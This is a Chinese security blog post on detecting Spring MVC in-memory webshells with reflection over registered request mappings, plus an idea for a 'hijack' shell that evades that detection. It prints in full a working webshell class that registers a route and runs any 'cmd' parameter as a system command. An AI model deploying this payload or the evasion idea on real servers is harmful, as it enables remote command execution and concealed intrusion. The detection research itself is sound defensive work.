从Spring内存马检测到隐形马(一)

简介: 从Spring内存马检测到隐形马

介绍

看了一些大佬的查杀内存马文章,很少有Spring相关内存马的检测方式

有部分是借助javaagent得到jvm中所有已加载的类然后分析,显得有点庞大

是否可以只借助Spring框架本身做检测呢

从检测思路上得到了一种进阶的内存马:隐形马,也可以叫做劫持马

劫持正常的Controller改为内存马,表明上一切正常,通过检测手段无法发现


检测效果

笔者基于SpringMVC本身写了一些检测代码

正常情况下,项目中已经有一些正常的mapping记录

46753ff416babf82d8dba8e1ad49204b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


使用来自Landgrey师傅公布的Payload,也是广为流传的一种

基于内存 Webshell 的无文件攻击技术研究

public class InjectToController {
   public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
       WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
       RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
       Method method2 = InjectToController.class.getMethod("test");
       PatternsRequestCondition url = new PatternsRequestCondition("good");
       RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
       RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
       InjectToController injectToController = new InjectToController("aaa");
       mappingHandlerMapping.registerMapping(info, injectToController, method2);
  }
   public InjectToController(String aaa) {}
   public void test() throws  IOException{
       HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
       HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
       try {
           String arg0 = request.getParameter("cmd");
           PrintWriter writer = response.getWriter();
           if (arg0 != null) {
               String o = "";
               java.lang.ProcessBuilder p;
               if(System.getProperty("os.name").toLowerCase().contains("win")){
                   p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
              }else{
                   p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
              }
               java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
               o = c.hasNext() ? c.next(): o;
               c.close();
               writer.write(o);
               writer.flush();
               writer.close();
          }else{
               response.sendError(404);
          }
      }catch (Exception e){}
  }
}


以上代码实现的效果是添加一个Controller型内存马:/good?cmd=whoami

注册成功后使用我写的检测代码,可以得到下面的结果

b49114a477fbda046f52b9d3d54d6f72_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


很明显这里的exp.InjectToController非法

如果黑客将类名InjectToController修改为正常的,也会因为包名不一致轻松检查出

最坏的情况,信息泄露,黑客做到和系统包名一致,也可以从映射数量增加的角度检查,不难实现


进一步可以做查杀,把恶意的Controller杀死,可以把对应的路径修改为非常复杂的随机串,也可以把路径对应的执行方法置空

这一点做起来不难,有空补上代码


检测原理

原理比较简单,就是从目前的Spring容器中找到被注册的所有mapping信息,拼接输出即可

实现起来其实有点小坑


首先通过context拿到RequestMappingHandlerMapping

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
  .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping rmhMapping = context.getBean(RequestMappingHandlerMapping.class);


这个对象本身没包含什么重要信息,但是它的爷类AbstractHandlerMethodMapping里有重要信息

b78d2e70cf4e122c3613ce63140635aa_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


其中有一个属性mappingRegistry,类型是内部私有类MappingRegistry

public abstract class AbstractHandlerMethodMapping<T> extends AbstractHandlerMapping implements InitializingBean {
  ...
private final MappingRegistry mappingRegistry = new MappingRegistry();
  ...
}


找到这个内部类MappingRegistry,属性registry是真正的注册信息,记录了每个映射到具体方法的关系

class MappingRegistry {
  ...
  private final Map<T, MappingRegistration<T>> registry = new HashMap<>();
  ...
}


而MappingRegistration类也是内部私有类

static class MappingRegistration<T> {
  ...
   private final HandlerMethod handlerMethod;
  ...
}


其中的HandlerMethod保存包装后的了Controller中的路由方法

public class HandlerMethod {
  ...
private final String description;
  ...
}


其中description字段记录了被注册的Controller的描述,例如com.example.spring.TestController#test1()

该信息应该被取出来输出,用来判断是否来自恶意类


回到上文的Map> registry

其中的Key为泛型,实际上这个类型应该是:RequestMappingInfo

public final class RequestMappingInfo implements RequestCondition<RequestMappingInfo> {
  ...
  @Nullable
  private final String name;
  @Nullable
  private final PathPatternsRequestCondition pathPatternsCondition;
  ...
}


值得一说的是,其中的name不是路径,实际的值其实是空。路径信息保存在PathPatternsRequestConditio中

public final class PathPatternsRequestCondition extends AbstractRequestCondition<PathPatternsRequestCondition> {
  ...
private final SortedSet<PathPattern> patterns;
}


Spring框架封装完善,这里也不是真正的路径,而是保存在SortedSet patterns

PathPattern的patternString保存了路径:/test

public class PathPattern implements Comparable<PathPattern> {
  ...
  private final String patternString;
}


分析结束,接下来就剩实现了

上文取到了RequestMappingHandlerMapping对象,通过反射从其爷类取到mappingRegistry属性

Field _mappingRegistry = AbstractHandlerMethodMapping.class.getDeclaredField("mappingRegistry");
_mappingRegistry.setAccessible(true);
Object mappingRegistry = _mappingRegistry.get(rmhMapping);


参考分析步骤拿到MappingRegistry对象

Field _registry = mappingRegistry.getClass().getDeclaredField("registry");
_registry.setAccessible(true);
HashMap<Object,Object> registry = (HashMap<Object, Object>) _registry.get(mappingRegistry);


这个HashMap的Key好说,直接强转;它的Value是一个内部私有类,获取起来有点麻烦,遍历AbstractHandlerMethodMapping的所有内部私有类,直到类名符合MappingRegistration记录下Class。之所以想方设法拿到MappingRegistration的Class是为了获取其中的HandlerMethod进而拿到注册描述信息

Class<?>[] tempArray = AbstractHandlerMethodMapping.class.getDeclaredClasses();
Class<?> mappingRegistrationClazz = null;
for (Class<?> item : tempArray) {
   if (item.getName().equals(
           "org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistration"
  )) {
       mappingRegistrationClazz = item;
  }
}


接下来的步骤不难

// 拼接字符串输出
StringBuilder sb = new StringBuilder();
sb.append("<pre>");
sb.append("| path |").append("\t").append("\t").append("| info |").append("\n");
// 遍历MappingRegistry中的注册信息
for(Map.Entry<Object,Object> entry:registry.entrySet()){
   sb.append("--------------------------------------------");
   sb.append("\n");
   // 得到key
   RequestMappingInfo key = (RequestMappingInfo) entry.getKey();
   // 路径保存在PatternsCondition的Patterns中
   // set不能get所以转list后get
   List<String> tempList = new ArrayList<>(key.getPatternsCondition().getPatterns());
   // 一般情况下只有一个直接用get(0)
   sb.append(tempList.get(0)).append("\t").append("-->").append("\t");
   // 反射得到value的HandlerMethod属性
   Field _handlerMethod = mappingRegistrationClazz.getDeclaredField("handlerMethod");
   _handlerMethod.setAccessible(true);
   HandlerMethod handlerMethod = (HandlerMethod) _handlerMethod.get(entry.getValue());
   // 反射得到HandlerMethod的注册描述信息:description
   Field _desc = handlerMethod.getClass().getDeclaredField("description");
   _desc.setAccessible(true);
   String desc = (String) _desc.get(handlerMethod);
   sb.append(desc);
   sb.append("\n");
}
sb.append("</pre>");


隐形马

检测思路主要是检查是否有新注册的Controller

是否可以在不注册新的Controller情况下加入内存马呢


假设我发现了目标机器存在一个接口,返回ok字样

(找到一个总返回固定字符串的接口用来劫持)

3abc31939897113e34710669a2338c91_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

通过我一些手段,做到了这样的效果:

  • 如果访问/api一切正常
  • 如果访问/api?cmd=whomai等情况则执行命令


效果如下

2f98192b169c2e8cb433f5bba35fc1d3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


如果用以上检测手段来查:一切正常

234ade434e94a133e5ee45743e978533_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png



相关文章
|
2月前
|
监控 JavaScript Java
Node.js中内存泄漏的检测方法
检测内存泄漏需要综合运用多种方法,并结合实际的应用场景和代码特点进行分析。及时发现和解决内存泄漏问题,可以提高应用的稳定性和性能,避免潜在的风险和故障。同时,不断学习和掌握内存管理的知识,也是有效预防内存泄漏的重要途径。
138 52
|
11天前
|
运维 监控 Java
为何内存不够用?微服务改造启动多个Spring Boot的陷阱与解决方案
本文记录并复盘了生产环境中Spring Boot应用内存占用过高的问题及解决过程。系统上线初期运行正常,但随着业务量上升,多个Spring Boot应用共占用了64G内存中的大部分,导致应用假死。通过jps和jmap工具排查发现,原因是运维人员未设置JVM参数,导致默认配置下每个应用占用近12G内存。最终通过调整JVM参数、优化堆内存大小等措施解决了问题。建议在生产环境中合理设置JVM参数,避免资源浪费和性能问题。
36 3
|
23天前
|
安全 Java 数据安全/隐私保护
基于内存认证的 Spring Security
通过本文的介绍,希望您能够深入理解基于内存认证的Spring Security配置与使用方法,并能够在实际开发中灵活应用这一技术,提升应用的安全性和用户体验。
48 9
|
2月前
|
缓存 算法 Java
本文聚焦于Java内存管理与调优,介绍Java内存模型、内存泄漏检测与预防、高效字符串拼接、数据结构优化及垃圾回收机制
在现代软件开发中,性能优化至关重要。本文聚焦于Java内存管理与调优,介绍Java内存模型、内存泄漏检测与预防、高效字符串拼接、数据结构优化及垃圾回收机制。通过调整垃圾回收器参数、优化堆大小与布局、使用对象池和缓存技术,开发者可显著提升应用性能和稳定性。
53 6
|
2月前
|
Web App开发 JavaScript 前端开发
使用 Chrome 浏览器的内存分析工具来检测 JavaScript 中的内存泄漏
【10月更文挑战第25天】利用 Chrome 浏览器的内存分析工具,可以较为准确地检测 JavaScript 中的内存泄漏问题,并帮助我们找出潜在的泄漏点,以便采取相应的解决措施。
351 9
|
2月前
|
监控 JavaScript 前端开发
如何检测和解决 JavaScript 中内存泄漏问题
【10月更文挑战第25天】解决内存泄漏问题需要对代码有深入的理解和细致的排查。同时,不断优化和改进代码的结构和逻辑也是预防内存泄漏的重要措施。
68 6
|
2月前
|
Web App开发 缓存 JavaScript
如何检测和解决闭包引起的内存泄露
闭包引起的内存泄露是JavaScript开发中常见的问题。本文介绍了闭包导致内存泄露的原因,以及如何通过工具检测和代码优化来解决这些问题。
|
6月前
|
存储 算法 Java
Java面试题:深入探究Java内存模型与垃圾回收机制,解释JVM中堆内存和栈内存的主要区别,谈谈对Java垃圾回收机制的理解,Java中的内存泄漏及其产生原因,如何检测和解决内存泄漏问题
Java面试题:深入探究Java内存模型与垃圾回收机制,解释JVM中堆内存和栈内存的主要区别,谈谈对Java垃圾回收机制的理解,Java中的内存泄漏及其产生原因,如何检测和解决内存泄漏问题
75 0
|
4月前
|
C语言 Android开发 C++
基于MTuner软件进行qt的mingw编译程序的内存泄漏检测
本文介绍了使用MTuner软件进行Qt MinGW编译程序的内存泄漏检测的方法,提供了MTuner的下载链接和测试代码示例,并通过将Debug程序拖入MTuner来定位内存泄漏问题。
基于MTuner软件进行qt的mingw编译程序的内存泄漏检测
|
3月前
|
Web App开发 开发者